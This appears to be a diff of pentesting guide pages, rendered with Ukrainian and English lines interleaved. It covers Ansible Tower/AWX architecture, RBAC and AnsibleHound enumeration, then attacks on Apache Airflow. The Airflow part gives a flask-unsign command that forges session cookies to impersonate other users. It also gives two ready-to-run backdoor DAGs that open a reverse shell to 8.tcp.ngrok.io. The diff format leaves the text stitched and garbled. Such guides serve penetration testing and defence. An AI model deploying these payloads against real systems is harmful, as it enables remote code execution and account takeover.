**Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansible’s user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Tower’s REST API and command-line interface make it simple to integrate it into current tools and workflows.
|
||||
|
||||
**Automation Controller є новішою** версією Ansible Tower з більшими можливостями.
|
||||
**Automation Controller is a newer** version of Ansible Tower with more capabilities.
|
||||
|
||||
### Differences
|
||||
|
||||
Згідно з [**цією**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00) інформацією, основні відмінності між Ansible Tower та AWX полягають у отриманій підтримці, а Ansible Tower має додаткові функції, такі як контроль доступу на основі ролей, підтримка користувацьких API та визначені користувачем робочі процеси.
|
||||
According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows.
|
||||
|
||||
### Tech Stack
|
||||
|
||||
- **Web Interface**: Це графічний інтерфейс, де користувачі можуть керувати інвентарями, обліковими даними, шаблонами та завданнями. Він розроблений для інтуїтивного використання та надає візуалізації для допомоги у розумінні стану та результатів ваших автоматизаційних завдань.
|
||||
- **REST API**: Все, що ви можете зробити в веб-інтерфейсі, ви також можете зробити через REST API. Це означає, що ви можете інтегрувати AWX/Tower з іншими системами або скриптувати дії, які ви зазвичай виконуєте в інтерфейсі.
|
||||
- **Database**: AWX/Tower використовує базу даних (зазвичай PostgreSQL) для зберігання своєї конфігурації, результатів завдань та інших необхідних операційних даних.
|
||||
- **RabbitMQ**: Це система обміну повідомленнями, яка використовується AWX/Tower для зв'язку між різними компонентами, особливо між веб-сервісом та виконавцями завдань.
|
||||
- **Redis**: Redis служить кешем та бекендом для черги завдань.
|
||||
- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs.
|
||||
- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface.
|
||||
- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data.
|
||||
- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners.
|
||||
- **Redis**: Redis serves as a cache and a backend for the task queue.
|
||||
|
||||
### Logical Components
|
||||
|
||||
- **Inventories**: Інвентар є **збіркою хостів (або вузлів)**, проти яких можуть бути **виконані завдання** (Ansible playbooks). AWX/Tower дозволяє вам визначати та групувати ваші інвентарі, а також підтримує динамічні інвентарі, які можуть **отримувати списки хостів з інших систем** таких як AWS, Azure тощо.
|
||||
- **Projects**: Проект — це, по суті, **збірка Ansible playbooks**, отриманих з **системи контролю версій** (такої як Git), щоб отримати останні playbooks за потреби.
|
||||
- **Templates**: Шаблони завдань визначають **як буде виконуватись конкретний playbook**, вказуючи **інвентар**, **облікові дані** та інші **параметри** для завдання.
|
||||
- **Credentials**: AWX/Tower надає безпечний спосіб **керувати та зберігати секрети, такі як SSH ключі, паролі та API токени**. Ці облікові дані можуть бути асоційовані з шаблонами завдань, щоб playbooks мали необхідний доступ під час виконання.
|
||||
- **Task Engine**: Тут відбувається магія. Двигун завдань побудований на Ansible і відповідає за **виконання playbooks**. Завдання надсилаються до двигуна завдань, який потім виконує Ansible playbooks проти визначеного інвентарю, використовуючи вказані облікові дані.
|
||||
- **Schedulers and Callbacks**: Це розширені функції в AWX/Tower, які дозволяють **планувати виконання завдань** у певний час або за зовнішніми подіями.
|
||||
- **Notifications**: AWX/Tower може надсилати сповіщення на основі успіху або невдачі завдань. Він підтримує різні способи сповіщень, такі як електронні листи, повідомлення Slack, вебхуки тощо.
|
||||
- **Ansible Playbooks**: Ansible playbooks є інструментами конфігурації, розгортання та оркестрації. Вони описують бажаний стан систем у автоматизованому, повторюваному вигляді. Написані в YAML, playbooks використовують декларативну мову автоматизації Ansible для опису конфігурацій, завдань та кроків, які потрібно виконати.
|
||||
- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc.
|
||||
- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed..
|
||||
- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job.
|
||||
- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run.
|
||||
- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials.
|
||||
- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events.
|
||||
- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc.
|
||||
- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed.
|
||||
|
||||
### Job Execution Flow
|
||||
|
||||
1. **User Interaction**: Користувач може взаємодіяти з AWX/Tower через **Web Interface** або **REST API**. Ці інтерфейси надають доступ до всіх функцій, які пропонує AWX/Tower.
|
||||
1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower.
|
||||
2. **Job Initiation**:
|
||||
- Користувач, через веб-інтерфейс або API, ініціює завдання на основі **Job Template**.
|
||||
- Шаблон завдання включає посилання на **Inventory**, **Project** (який містить playbook) та **Credentials**.
|
||||
- Після ініціації завдання запит надсилається до бекенду AWX/Tower для постановки завдання в чергу на виконання.
|
||||
- The user, via the Web Interface or API, initiates a job based on a **Job Template**.
|
||||
- The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**.
|
||||
- Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution.
|
||||
3. **Job Queuing**:
|
||||
- **RabbitMQ** обробляє обмін повідомленнями між веб-компонентом та виконавцями завдань. Як тільки завдання ініційовано, повідомлення надсилається до двигуна завдань за допомогою RabbitMQ.
|
||||
- **Redis** виступає як бекенд для черги завдань, керуючи чергами завдань, що чекають виконання.
|
||||
- **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ.
|
||||
- **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution.
|
||||
4. **Job Execution**:
|
||||
- **Task Engine** підбирає завдання з черги. Він отримує необхідну інформацію з **Database** про асоційований playbook, інвентар та облікові дані.
|
||||
- Використовуючи отриманий Ansible playbook з асоційованого **Project**, двигун завдань виконує playbook проти вказаних **Inventory** вузлів, використовуючи надані **Credentials**.
|
||||
- Під час виконання playbook його вихідні дані (журнали, факти тощо) захоплюються та зберігаються в **Database**.
|
||||
- The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials.
|
||||
- Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**.
|
||||
- As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**.
|
||||
5. **Job Results**:
|
||||
- Як тільки playbook закінчує виконання, результати (успіх, невдача, журнали) зберігаються в **Database**.
|
||||
- Користувачі можуть переглядати результати через веб-інтерфейс або запитувати їх через REST API.
|
||||
- На основі результатів завдань **Notifications** можуть бути надіслані, щоб повідомити користувачів або зовнішні системи про статус завдання. Сповіщення можуть бути електронними листами, повідомленнями Slack, вебхуками тощо.
|
||||
- Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**.
|
||||
- Users can then view the results through the Web Interface or query them via the REST API.
|
||||
- Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc.
|
||||
6. **External Systems Integration**:
|
||||
- **Inventories** можуть бути динамічно отримані з зовнішніх систем, що дозволяє AWX/Tower отримувати хости з джерел, таких як AWS, Azure, VMware та інші.
|
||||
- **Projects** (playbooks) можуть бути отримані з систем контролю версій, що забезпечує використання актуальних playbooks під час виконання завдань.
|
||||
- **Schedulers and Callbacks** можуть бути використані для інтеграції з іншими системами або інструментами, що дозволяє AWX/Tower реагувати на зовнішні тригери або виконувати завдання у визначений час.
|
||||
- **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more.
|
||||
- **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution.
|
||||
- **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times.
|
||||
|
||||
### AWX lab creation for testing
|
||||
|
||||
[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) можливо використовувати docker-compose для запуску AWX:
|
||||
[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX:
|
||||
|
||||
```bash
|
||||
git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
|
||||
|
||||
@@ -82,78 +83,79 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser
|
||||
# Load demo data
|
||||
docker exec tools_awx_1 awx-manage create_preload_data
|
||||
```
|
||||
|
||||
## RBAC
|
||||
|
||||
### Підтримувані ролі
|
||||
### Supported roles
|
||||
|
||||
Найбільш привілейована роль називається **System Administrator**. Будь-хто з цією роллю може **модифікувати все**.
|
||||
The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**.
|
||||
|
||||
З точки зору **white box security** вам потрібна роль **System Auditor**, яка дозволяє **переглядати всі дані системи**, але не може вносити зміни. Іншою опцією буде отримати роль **Organization Auditor**, але краще отримати іншу.
|
||||
From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Розгорніть це, щоб отримати детальний опис доступних ролей</summary>
|
||||
<summary>Expand this to get detailed description of available roles</summary>
|
||||
|
||||
1. **System Administrator**:
|
||||
- Це роль суперкористувача з дозволами на доступ і модифікацію будь-якого ресурсу в системі.
|
||||
- Вони можуть керувати всіма організаціями, командами, проектами, інвентарями, шаблонами завдань тощо.
|
||||
- This is the superuser role with permissions to access and modify any resource in the system.
|
||||
- They can manage all organizations, teams, projects, inventories, job templates, etc.
|
||||
2. **System Auditor**:
|
||||
- Користувачі з цією роллю можуть переглядати всі дані системи, але не можуть вносити зміни.
|
||||
- Ця роль призначена для дотримання норм і контролю.
|
||||
- Users with this role can view all system data but cannot make any changes.
|
||||
- This role is designed for compliance and oversight.
|
||||
3. **Organization Roles**:
|
||||
- **Admin**: Повний контроль над ресурсами організації.
|
||||
- **Auditor**: Доступ лише для перегляду ресурсів організації.
|
||||
- **Member**: Основне членство в організації без конкретних дозволів.
|
||||
- **Execute**: Може виконувати шаблони завдань в організації.
|
||||
- **Read**: Може переглядати ресурси організації.
|
||||
- **Admin**: Full control over the organization's resources.
|
||||
- **Auditor**: View-only access to the organization's resources.
|
||||
- **Member**: Basic membership in an organization without any specific permissions.
|
||||
- **Execute**: Can run job templates within the organization.
|
||||
- **Read**: Can view the organization’s resources.
|
||||
4. **Project Roles**:
|
||||
- **Admin**: Може керувати і модифікувати проект.
|
||||
- **Use**: Може використовувати проект у шаблоні завдання.
|
||||
- **Update**: Може оновлювати проект за допомогою SCM (системи контролю версій).
|
||||
- **Admin**: Can manage and modify the project.
|
||||
- **Use**: Can use the project in a job template.
|
||||
- **Update**: Can update project using SCM (source control).
|
||||
5. **Inventory Roles**:
|
||||
- **Admin**: Може керувати і модифікувати інвентар.
|
||||
- **Ad Hoc**: Може виконувати команди ad hoc на інвентарі.
|
||||
- **Update**: Може оновлювати джерело інвентарю.
|
||||
- **Use**: Може використовувати інвентар у шаблоні завдання.
|
||||
- **Read**: Доступ лише для перегляду.
|
||||
- **Admin**: Can manage and modify the inventory.
|
||||
- **Ad Hoc**: Can run ad hoc commands on the inventory.
|
||||
- **Update**: Can update the inventory source.
|
||||
- **Use**: Can use the inventory in a job template.
|
||||
- **Read**: View-only access.
|
||||
6. **Job Template Roles**:
|
||||
- **Admin**: Може керувати і модифікувати шаблон завдання.
|
||||
- **Execute**: Може виконувати завдання.
|
||||
- **Read**: Доступ лише для перегляду.
|
||||
- **Admin**: Can manage and modify the job template.
|
||||
- **Execute**: Can run the job.
|
||||
- **Read**: View-only access.
|
||||
7. **Credential Roles**:
|
||||
- **Admin**: Може керувати і модифікувати облікові дані.
|
||||
- **Use**: Може використовувати облікові дані в шаблонах завдань або інших відповідних ресурсах.
|
||||
- **Read**: Доступ лише для перегляду.
|
||||
- **Admin**: Can manage and modify the credentials.
|
||||
- **Use**: Can use the credentials in job templates or other relevant resources.
|
||||
- **Read**: View-only access.
|
||||
8. **Team Roles**:
|
||||
- **Member**: Частина команди, але без конкретних дозволів.
|
||||
- **Admin**: Може керувати членами команди та пов'язаними ресурсами.
|
||||
- **Member**: Part of the team but without any specific permissions.
|
||||
- **Admin**: Can manage the team's members and associated resources.
|
||||
9. **Workflow Roles**:
|
||||
- **Admin**: Може керувати і модифікувати робочий процес.
|
||||
- **Execute**: Може виконувати робочий процес.
|
||||
- **Read**: Доступ лише для перегляду.
|
||||
- **Admin**: Can manage and modify the workflow.
|
||||
- **Execute**: Can run the workflow.
|
||||
- **Read**: View-only access.
|
||||
|
||||
</details>
|
||||
|
||||
## Enumeration & Attack-Path Mapping with AnsibleHound
|
||||
|
||||
`AnsibleHound` - це відкритий колектор BloodHound *OpenGraph*, написаний на Go, який перетворює **read-only** токен API Ansible Tower/AWX/Automation Controller на повну графіку дозволів, готову до аналізу в BloodHound (або BloodHound Enterprise).
|
||||
`AnsibleHound` is an open-source BloodHound *OpenGraph* collector written in Go that turns a **read-only** Ansible Tower/AWX/Automation Controller API token into a complete permission graph ready to be analysed inside BloodHound (or BloodHound Enterprise).
|
||||
|
||||
### Чому це корисно?
|
||||
1. REST API Tower/AWX надзвичайно багатий і відкриває **кожен об'єкт і відносини RBAC**, про які знає ваша інстанція.
|
||||
2. Навіть з найнижчим привілеєм (**Read**) токеном можливо рекурсивно перерахувати всі доступні ресурси (організації, інвентарі, хости, облікові дані, проекти, шаблони завдань, користувачі, команди…).
|
||||
3. Коли сирі дані перетворюються на схему BloodHound, ви отримуєте ті ж можливості візуалізації *attack-path*, які так популярні в оцінках Active Directory – але тепер спрямовані на вашу CI/CD інфраструктуру.
|
||||
### Why is this useful?
|
||||
1. The Tower/AWX REST API is extremely rich and exposes **every object and RBAC relationship** your instance knows about.
|
||||
2. Even with the lowest privilege (**Read**) token it is possible to recursively enumerate all accessible resources (organisations, inventories, hosts, credentials, projects, job templates, users, teams…).
|
||||
3. When the raw data is converted to the BloodHound schema you obtain the same *attack-path* visualisation capabilities that are so popular in Active Directory assessments – but now directed at your CI/CD estate.
|
||||
|
||||
Команди безпеки (і атакуючі!) можуть, отже:
|
||||
* Швидко зрозуміти **хто може стати адміністратором чого**.
|
||||
* Визначити **облікові дані або хости, які доступні** з непривабливого облікового запису.
|
||||
* Поєднувати кілька “Read ➜ Use ➜ Execute ➜ Admin” зв'язків, щоб отримати повний контроль над інстанцією Tower або підлеглою інфраструктурою.
|
||||
Security teams (and attackers!) can therefore:
|
||||
* Quickly understand **who can become admin of what**.
|
||||
* Identify **credentials or hosts that are reachable** from an unprivileged account.
|
||||
* Chain multiple “Read ➜ Use ➜ Execute ➜ Admin” edges to obtain full control over the Tower instance or the underlying infrastructure.
|
||||
|
||||
### Передумови
|
||||
* Ansible Tower / AWX / Automation Controller, доступний через HTTPS.
|
||||
* Токен API користувача, обмежений лише **Read** (створений з *User Details → Tokens → Create Token → scope = Read*).
|
||||
* Go ≥ 1.20 для компіляції колектора (або використовуйте попередньо зібрані бінарні файли).
|
||||
### Prerequisites
|
||||
* Ansible Tower / AWX / Automation Controller reachable over HTTPS.
|
||||
* A user API token scoped to **Read** only (created from *User Details → Tokens → Create Token → scope = Read*).
|
||||
* Go ≥ 1.20 to compile the collector (or use the pre-built binaries).
|
||||
|
||||
### Будівництво та запуск
|
||||
### Building & Running
|
||||
```bash
|
||||
# Compile the collector
|
||||
cd collector
|
||||
@@ -162,7 +164,7 @@ go build . -o build/ansiblehound
|
||||
# Execute against the target instance
|
||||
./build/ansiblehound -u "https://tower.example.com/" -t "READ_ONLY_TOKEN"
|
||||
```
|
||||
Внутрішньо AnsibleHound виконує *пагіновані* `GET` запити до (принаймні) наступних кінцевих точок і автоматично слідує за `related` посиланнями, які повертаються в кожному JSON об'єкті:
|
||||
Internally AnsibleHound performs *paginated* `GET` requests against (at least) the following endpoints and automatically follows the `related` links returned in every JSON object:
|
||||
```
|
||||
/api/v2/organizations/
|
||||
/api/v2/inventories/
|
||||
@@ -173,32 +175,37 @@ go build . -o build/ansiblehound
|
||||
/api/v2/users/
|
||||
/api/v2/teams/
|
||||
```
|
||||
Всі зібрані сторінки об'єднуються в один файл JSON на диску (за замовчуванням: `ansiblehound-output.json`).
|
||||
All collected pages are merged into a single JSON file on disk (default: `ansiblehound-output.json`).
|
||||
|
||||
### Перетворення BloodHound
|
||||
Сирі дані Tower потім **перетворюються в BloodHound OpenGraph** за допомогою користувацьких вузлів, що починаються з `AT` (Ansible Tower):
|
||||
### BloodHound Transformation
|
||||
The raw Tower data is then **transformed to BloodHound OpenGraph** using custom nodes prefixed with `AT` (Ansible Tower):
|
||||
* `ATOrganization`, `ATInventory`, `ATHost`, `ATJobTemplate`, `ATProject`, `ATCredential`, `ATUser`, `ATTeam`
|
||||
|
||||
А також ребра, що моделюють відносини / привілеї:
|
||||
And edges modelling relationships / privileges:
|
||||
* `ATContains`, `ATUses`, `ATExecute`, `ATRead`, `ATAdmin`
|
||||
|
||||
Результат можна імпортувати безпосередньо в BloodHound:
|
||||
The result can be imported straight into BloodHound:
|
||||
```bash
|
||||
neo4j stop # if BloodHound CE is running locally
|
||||
bloodhound-import ansiblehound-output.json
|
||||
```
|
||||
Опційно ви можете завантажити **кастомні іконки**, щоб нові типи вузлів були візуально відмінними:
|
||||
|
||||
Optionally you can upload **custom icons** so that the new node types are visually distinct:
|
||||
```bash
|
||||
python3 scripts/import-icons.py "https://bloodhound.example.com" "BH_JWT_TOKEN"
|
||||
```
|
||||
### Захисні та наступальні міркування
|
||||
* Токен *Read* зазвичай вважається безпечним, але все ще витікає **повна топологія та всі метадані облікових даних**. Ставтеся до нього як до чутливого!
|
||||
* Застосовуйте **найменші привілеї** та обертайте / відкликайте невикористовувані токени.
|
||||
* Моніторте API на предмет надмірної енумерації (багато послідовних `GET` запитів, висока активність пагінації).
|
||||
* З точки зору атакуючого це ідеальна техніка *початкового закріплення → ескалації привілеїв* всередині CI/CD конвеєра.
|
||||
|
||||
## Посилання
|
||||
### Defensive & Offensive Considerations
|
||||
* A *Read* token is normally considered harmless but still leaks the **full topology and every credential metadata**. Treat it as sensitive!
|
||||
* Enforce **least privilege** and rotate / revoke unused tokens.
|
||||
* Monitor the API for excessive enumeration (multiple sequential `GET` requests, high pagination activity).
|
||||
* From an attacker perspective this is a perfect *initial foothold → privilege escalation* technique inside the CI/CD pipeline.
|
||||
|
||||
## References
|
||||
* [AnsibleHound – BloodHound Collector for Ansible Tower/AWX](https://github.com/TheSleekBoyCompany/AnsibleHound)
|
||||
* [BloodHound OSS](https://github.com/BloodHoundAD/BloodHound)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,21 +2,22 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### Основна інформація
|
||||
### Basic Information
|
||||
|
||||
[**Apache Airflow**](https://airflow.apache.org) слугує платформою для **орchestrating and scheduling data pipelines or workflows**. Термін "орchestrating" у контексті data pipelines означає процес організації, координації та управління складними data workflows, що походять з різних джерел. Основна мета цих оркестрованих data pipelines полягає в наданні оброблених і споживаних наборів даних. Ці набори даних широко використовуються безліччю додатків, включаючи, але не обмежуючись, інструментами бізнес-аналітики, моделями data science та machine learning, які є основою функціонування додатків великого обсягу даних.
|
||||
[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications.
|
||||
|
||||
В основному, Apache Airflow дозволить вам **планувати виконання коду, коли щось** (подія, cron) **відбувається**.
|
||||
Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**.
|
||||
|
||||
### Локальна лабораторія
|
||||
### Local Lab
|
||||
|
||||
#### Docker-Compose
|
||||
|
||||
Ви можете використовувати **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) для запуску повного середовища apache airflow в docker. (Якщо ви на MacOS, переконайтеся, що виділили принаймні 6 ГБ оперативної пам'яті для docker VM).
|
||||
You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM).
|
||||
|
||||
#### Minikube
|
||||
|
||||
Один із простих способів **запустити apache airflow** - це запустити його **з minikube**:
|
||||
One easy way to **run apache airflo**w is to run it **with minikube**:
|
||||
|
||||
```bash
|
||||
helm repo add airflow-stable https://airflow-helm.github.io/charts
|
||||
helm repo update
|
||||
@@ -26,72 +27,76 @@ helm install airflow-release airflow-stable/airflow
|
||||
# Use this command to delete it
|
||||
helm delete airflow-release
|
||||
```
|
||||
### Налаштування Airflow
|
||||
|
||||
Airflow може зберігати **чутливу інформацію** у своїй конфігурації або ви можете знайти слабкі конфігурації:
|
||||
### Airflow Configuration
|
||||
|
||||
Airflow might store **sensitive information** in its configuration or you can find weak configurations in place:
|
||||
|
||||
{{#ref}}
|
||||
airflow-configuration.md
|
||||
{{#endref}}
|
||||
|
||||
### RBAC Airflow
|
||||
### Airflow RBAC
|
||||
|
||||
Перед початком атаки на Airflow ви повинні зрозуміти, **як працюють дозволи**:
|
||||
Before start attacking Airflow you should understand **how permissions work**:
|
||||
|
||||
{{#ref}}
|
||||
airflow-rbac.md
|
||||
{{#endref}}
|
||||
|
||||
### Атаки
|
||||
### Attacks
|
||||
|
||||
#### Перерахування веб-консолі
|
||||
#### Web Console Enumeration
|
||||
|
||||
Якщо у вас є **доступ до веб-консолі**, ви можете отримати доступ до деякої або всієї наступної інформації:
|
||||
If you have **access to the web console** you might be able to access some or all of the following information:
|
||||
|
||||
- **Змінні** (Користувацька чутлива інформація може зберігатися тут)
|
||||
- **З'єднання** (Користувацька чутлива інформація може зберігатися тут)
|
||||
- Доступ до них за адресою `http://<airflow>/connection/list/`
|
||||
- [**Конфігурація**](./#airflow-configuration) (Чутлива інформація, така як **`secret_key`** та паролі, може зберігатися тут)
|
||||
- Список **користувачів та ролей**
|
||||
- **Код кожного DAG** (який може містити цікаву інформацію)
|
||||
- **Variables** (Custom sensitive information might be stored here)
|
||||
- **Connections** (Custom sensitive information might be stored here)
|
||||
- Access them in `http://<airflow>/connection/list/`
|
||||
- [**Configuration**](#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here)
|
||||
- List **users & roles**
|
||||
- **Code of each DAG** (which might contain interesting info)
|
||||
|
||||
#### Отримання значень змінних
|
||||
#### Retrieve Variables Values
|
||||
|
||||
Змінні можуть зберігатися в Airflow, щоб **DAG** могли **отримувати** їх значення. Це схоже на секрети інших платформ. Якщо у вас є **достатні дозволи**, ви можете отримати доступ до них у GUI за адресою `http://<airflow>/variable/list/`.\
|
||||
Airflow за замовчуванням покаже значення змінної в GUI, однак, відповідно до [**цього**](https://marclamberti.com/blog/variables-with-apache-airflow/), можливо, встановити **список змінних**, значення яких з'являться як **зірочки** в **GUI**.
|
||||
Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http://<airflow>/variable/list/`.\
|
||||
Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**.
|
||||
|
||||
.png>)
|
||||
|
||||
Однак ці **значення** все ще можна **отримати** через **CLI** (вам потрібно мати доступ до БД), **виконання довільного DAG**, **API** для доступу до кінцевої точки змінних (API потрібно активувати) і **навіть сам GUI!**\
|
||||
Щоб отримати доступ до цих значень з GUI, просто **виберіть змінні**, до яких ви хочете отримати доступ, і **натисніть на Дії -> Експортувати**.\
|
||||
Інший спосіб - виконати **брутфорс** для **прихованого значення**, використовуючи **фільтрацію пошуку**, поки ви його не отримаєте:
|
||||
However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\
|
||||
To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\
|
||||
Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Підвищення привілеїв
|
||||
#### Privilege Escalation
|
||||
|
||||
If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**.
|
||||
|
||||
Якщо конфігурація **`expose_config`** встановлена на **True**, з **ролі Користувач** і **вище** можна **читати** **конфігурацію в вебі**. У цій конфігурації з'являється **`secret_key`**, що означає, що будь-який користувач з цим дійсним ключем може **створити свій власний підписаний cookie, щоб видавати себе за будь-який інший обліковий запис користувача**.
|
||||
```bash
|
||||
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
|
||||
```
|
||||
#### DAG Backdoor (RCE в Airflow worker)
|
||||
|
||||
Якщо у вас є **доступ на запис** до місця, де **зберігаються DAG**, ви можете просто **створити один**, який надішле вам **реверсну оболонку.**\
|
||||
Зверніть увагу, що ця реверсна оболонка буде виконуватися всередині **контейнера airflow worker**:
|
||||
#### DAG Backdoor (RCE in Airflow worker)
|
||||
|
||||
If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\
|
||||
Note that this reverse shell is going to be executed inside an **airflow worker container**:
|
||||
|
||||
```python
|
||||
import pendulum
|
||||
from airflow import DAG
|
||||
from airflow.operators.bash import BashOperator
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_bash',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_bash',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = BashOperator(
|
||||
task_id='run',
|
||||
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
|
||||
)
|
||||
run = BashOperator(
|
||||
task_id='run',
|
||||
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
|
||||
)
|
||||
```
|
||||
|
||||
```python
|
||||
@@ -100,66 +105,74 @@ from airflow import DAG
|
||||
from airflow.operators.python import PythonOperator
|
||||
|
||||
def rs(rhost, port):
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_python',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_python',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = PythonOperator(
|
||||
task_id='rs_python',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
|
||||
)
|
||||
run = PythonOperator(
|
||||
task_id='rs_python',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
|
||||
)
|
||||
```
|
||||
#### DAG Backdoor (RCE в Airflow scheduler)
|
||||
|
||||
Якщо ви налаштуєте щось на **виконання в корені коду**, на момент написання цього тексту, це буде **виконано планувальником** через кілька секунд після розміщення його в папці DAG.
|
||||
